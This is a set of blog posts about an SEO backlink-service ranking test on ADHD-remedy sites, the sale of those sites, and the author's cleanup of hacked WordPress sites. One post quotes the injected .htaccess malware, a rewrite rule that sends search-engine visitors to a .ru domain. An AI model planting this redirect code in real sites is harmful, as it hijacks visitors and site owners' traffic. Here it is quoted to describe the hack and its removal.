Seo Bloodhound- SEO Testing Done Right

Rather than updating the sites from the SEO experiment for better conversion, I have decided to sell them and start with a clean slate when I move onto my next project.  I actually decided awhile ago but forgot to post here to let you all know.

Here is the link to the flippa auction https://flippa.com/2706878-5-sites-and-1-domain-for-sale-sites-are-ranking-nicely

I am selling all 5 of the sites with the hyphenated url that were used in the test as well as the non hyphenated url that I never used.  Feel free to ask any questions, sorry that it is last minute.  I honestly just forgot to post it here.

Well, what a disastrous 6 weeks or so this has been.  Approximately 6 weeks ago one of my better money making sites stopped making money.  A quick glance at the analytics showed traffic was less than 10% of what it was previously.  Since I had a ton of stuff going on including ongoing health issues (now solved), like an idiot,  I assumed this was due to a google/panda slap and put it on the back burner to deal with at a later date.

A few weeks later someone alerted me to the fact that when they googled a search term and clicked on the link to my site they ended up on some other site.   WHAT!?, I said, and tried it myself with the same results.  With a sinking feeling I assumed I was hacked and placed a question in a forum and got confirmation.  Now I was pretty pissed. 

The way this hack works is it changes your .htaccess file, and others and drops in code similar to:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://massage-pool.ru/mysave/index.php [R=301,L]

I tried deleting my .htaccess file, and 1 minute later it was back again with the same code.

Upon looking at my hosting account, all the sites under that user were hacked with the same malware including one of the sites from my previous test.  I contacted my host (dreamhost) and asked them to resolve this.  Their reply 36 hours later was- sorry for the delay, we are upgrading our hacking detection and curing program to make it better, in the meantime, follow this wiki. 

Not having the time until the weekend 2 days later to follow said wiki, the site sat.  In the meantime dreamhost got back to me that they had fixed the problem and put all the infected files into a folder called infected.  Thanks dreamhost, but wait!  One quick look at the .htaccess file and NOTHING HAD CHANGED!  Stupid dreamhost.

So that weekend, I followed the wiki which basically said, wipe the site, reinstall wordpress, tie it to your old db and you will be good.  Like an idiot, I did this with my most profitable site.  I bought this site from someone, he set it up on my servers, and now I cannot get the look back the same.  But that is a discussion for another time.  I did the steps, .htaccess was gone, but the redirect was still happening.  Frustrations were growing even stronger.  My hatred of dreamhost was reaching new levels.

I found a link to this guy http://www.deancameron.com/2011/12/06/httpsweepstakesandcontestsinfo-com-suck-my-bag/ which basically instructed me to delete the .htaccess.  done.  delete a couple themes that were used to infiltrate.  done. and then go through file by file looking for malicious code at the bottom of each file.  WHAT?!?!? Does he have any idea how many files are in a wordpress install and how many sites I had hacked?  We are talking at least weeks, if not months to cure this.  Screw that, I checked 4 or 5 files and saw no code, so I figured this was a no go.

After every step or attempt, I would rescan my site at http://sitecheck.sucuri.net/scanner/ which kept coming back positive for malware.  Then I thought, I wonder if some genius plugin creator has made something to combat this.  I searched malware in the install new plugins of the site and got a few options.

All the options were tailored to blocking malware, but who knows.  I tried 3 different ones with no luck.  Number 4 explicitly said that if malware was already present there was nothing it could do.  My only fault with this plugin is that that statement was a lie.  It worked like a charm.

To verify that it was not a combination of my efforts based on the wiki, etc, and the plugin, I tried it on one of the other hacked site that I had not messed with.  Lo and behold, I scanned and the malware was gone. 

A couple notes about the scanner I mentioned above.  1. if you scan your site, it will auto default back to the previous scan when you go back to it to try again.  You have to hit rescan.  2. they offer a cleaning monitoring service for a crapload of money, don’t do it.

Now, I would have been willing to pay $100 or more for a plugin (multisite) that did this for me.  With over 300 websites, security is a high concern.  So this is where I put in my affiliate link to sell you this great plugin.  BUT WAIT!!!!!!!!!!!!!!

This plugin is free.  Search your plugins using malware as your search term.  The plugin that works is BulletProof Security.  install, activate, tell it to create the .htaccess file, ignore the warning, and viola, your site is back.  No dealing with host disappointment. No wiping and reinstalling your sites.  Five minutes or less and you are victorious.

All this and for free.  You are welcome.

Hello my friends and readers.  I am sorry for the delay in posting this and thank you for sticking around to read it.  The past two weekends have found me in the emergency room to the extent that I could not even answer what ten plus ten is last weekend.  Not fun times, and either the after affects of the illness or the side affects of the medication is limiting my mental capacity below what it typically is.

Due to this, I am planning on taking a month off of all testing before starting any more testing to hopefully allow my mind time to adjust to the medication.  As of now it has only been four days.  (dropped 10 lbs in that time so it has some positives as well.)

Until then, here is my promised synopsis of this test-

1. The keywords for the test were natural adhd cures, adhd cures, and adhd remedies.  As of right now senukex is in first in the first 2 and chris is in first in the third.

2.  As I alluded to earlier, this is my first time doing sites trying to monetize with clickbank.  Not really my cup of tea.  Overall on the test I broke even, but factoring in my time it was a bit of a loss.  Over the next month I am going to decide whether or not to sell the sites as a package or redesign for better monetization.  If any reader wants to make an offer drop me a line.  I do also own the non hyphenated .com of the url that I was planning to use to point the seo juice of the four to.  Feel free to make me an offer.   If I decide to sell on flippa I will send out a blast through aweber.

3. Limitations of the test- In my attempt to save money with the test I used the inclusion in the test to negotiate a better rate with some of the services.  As some have pointed out, some of the services could have dumped extra links on my site to get it to rank higher to get themselves more business.  I can tell you that since I controlled linkpushing, I did not with them.  I know the guy running senukex and am confident in his business ethics.  The others I cannot and will not state one way or the other.  In the future, I should not let the services know they are being tested.  I am not saying anyone did game the system, I am just saying that the possibility is there and that is my fault.  I apologize for that.

4. Smartersubmit-  The last time I payed for smartersubmit was back at the beginning of October.  Towards the end of December they contacted me to tell me they were finally ready for me to purchase my next package.  Due to the inability to perform in a timely manner, the fact that the test was almost completed, and the poor performance to date, I opted to not subscribe with them anymore.  I have a strict policy with services that the perform within the expected time frame.  The failed in a big way.

Once again, thanks for reading.  As I build my best SEO package for my sites, I will be using both Chris and Senukex in the future.  The next test will involve another level of automation.  Check back in a month or subscribe so you can make sure you do not miss it.

We are finally finished.  After six months, we now have our final results.  Next week, I am going to reveal the keywords and do a little revealing of some of the other issues with the test.

Here are this weeks results:

Keyword 1: 1,850,000 competing pages in google

1. Holding onto first this week is  Chris from Warrior Forum climbing to 1st in google.
2. Second is now claimed by Senukex holding at 4th in google.
3. Coming in at third is SEO Jack from the Warrior now ranking at 10th in the serps.
4. Taking fourth place this week is Linkpushing.net bringing home 12th in serps.
5. Rounding things out in fifth place is smartersubmit.com who climbed to 14th in google.

Keyword 2: 2,340,000 competing pages in google.

1. Holding onto first this week is  Chris from Warrior Forum climbing to 1st in google.
2. Second is now claimed by Senukex holding at 3rd in google.
3. Coming in at third is Linkpushing.net now ranking at 6th in the serps.
4. Taking fourth place this week is SEO Jack from the Warrior bringing home 9th in serps.
5. Rounding things out in fifth place is smartersubmit.com who climbed to 19th in google.

Keyword 3: 4,190,000 competing pages in google.

1. Taking first for this keyword this week is Chris from Warrior Forum climbing to 1st in google.
2. At second is Senukex bringing home 5th in serps.
3. Climbing to third is SEO Jack from the Warrior rising to 7th in google.
4. Falling to fourth is Linkpushing.net  now ranking at 9th in google.
5. Coming in at fifth place is smartersubmit.com who is now ranking 52nd in google.

Chris from Warrior Forum has now surged back to all the numbers ones.  Great job Chris.  Thanks to all the services for participating in the test, and thank you all for reading.  Please stick with me at least one more week when more will be revealed

We have one week to go on this test and I have decided to give you all the keywords for the test once the test is complete and you can evaluate for yourselves the effectiveness of  the services used.

Here are this weeks results:

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex climber back to 1st in google.
2. Holding onto second is Chris from Warrior Forum held onto 5th in serps.
3. Staying in third is SEO Jack from the Warriorclimbed to  10th in google serps.
4. Fourth is SEO Jack from the Warrior climbed to 12th in google.
5. Finally fifth is smartersubmit.com stayed at 17th in google.

First off, my profound apologies.  I totally forgot about posting on Sunday and then the week just kept getting ahead of.  When I say totally forgot, let me be perfectly clear.  In the afternoon I snuck 10 minutes away from my family to grab the ranking planning on writing the post in the evening.  Never crept back into my mind until Tuesday.  I could add in a few more excuses, but basically I am old and my mind is feeble.

Since the rankings are for Sunday, I changed the date post to Sunday even though in fact it is now Wednesday.  Again, I apologize for not delivering as promised.

Here are the results as of Sunday:

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex dropped to 3rd in google.
2. Holding onto second is Chris from Warrior Forum fell to 5th.
3. Staying in third is Linkpushing.net slipped  13th.
4. Fourth is SEO Jack from the Warrior climber to 15th in google.
5. Finally fifth is smartersubmit.com climbing to 17th in google.

I hope everyone who celebrates Christmas had a fantastic one, and for those who celebrate other December holidays, I hope that was very enjoyable for you as well.  For those who celebrate no holidays, I hope you enjoyed a wonderful time off work.

The results this week are pretty much stagnant.  I number of weeks back with stagnated for a few weeks and then shot up again, so hopefully that is the case we find here at the end of the test.

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex held onto 1st in google.
2. Holding onto second is Chris from Warrior Forum climbing in the serps to 4th.
3. Climbing back to third is Linkpushing.net who climbed to 11th.
4. Fourth is SEO Jack from the Warrior now ranking at 16th in google.
5. Finally fifth is smartersubmit.com falling to 18th in google.

I humbly apologize for delaying this update by one day.  My preparations for Christmas took too much time yesterday and I did not have time to write this post.  I did get the data as of yesterday, so the data is correct, I am just delivering it one day late.  I think I have one service right now to send out their final payment and then I have fully paid for this test.

Approximately, $1500 has been invested with some very good SEO results as you will see here soon, and we still have 4 weeks to go.  I was excited last week to have achieved a number 1 ranking in serps.  Well this week we have 2 numbers 1′s from 2 different services.

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex held onto 1st in google.
2. Holding onto second is Chris from Warrior Forum climbing in the serps to 3rd.
3. Climbing back to third is Linkpushing.net who climbed to 11th.
4. Fourth is smartersubmit.com now ranking at 15th in google.
5. Finally fifth is SEO Jack from the Warrior falling to 17th in google.

With just over a month to go in this little test, one of services has reached page 1 in google.  You can see the results below.

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex climbing to 1st in google.
2. Falling to second is Chris from Warrior Forum climbing in the serps to 7th.
3. Third is surprisingly held by smartersubmit.com who climbed to 10th.
4. Fourth is SEO Jack from the Warrior now ranking at 14th in google.
5. Finally fifth is Linkpushing.net falling to 17th in google.

The graph of the results are not updated as of last week.  For the visual learners among us, you can check it out here: Best Backlink Graph.

We actually had a little movement in the serps this week and some changing of the results here as well.  We now have 6 weeks left and 3 of our services are consistently in the top 10 of google each week.  My desire now for this test is to see one number one for at least one of the keywords.

Keyword 1: 1,850,000 competing pages in google

1. Taking back first place this week is Senukex climbing to 3rd in google.
2. Falling to second is Chris from Warrior Forum dropping in the serps at 8th.
3. Third is surprisingly held by smartersubmit.com who climber to 11th.
4. Fourth is Linkpushing.net now ranking at 12th in google.
5. Finally fifth is SEO Jack from the Warrior holding onto 17th in google.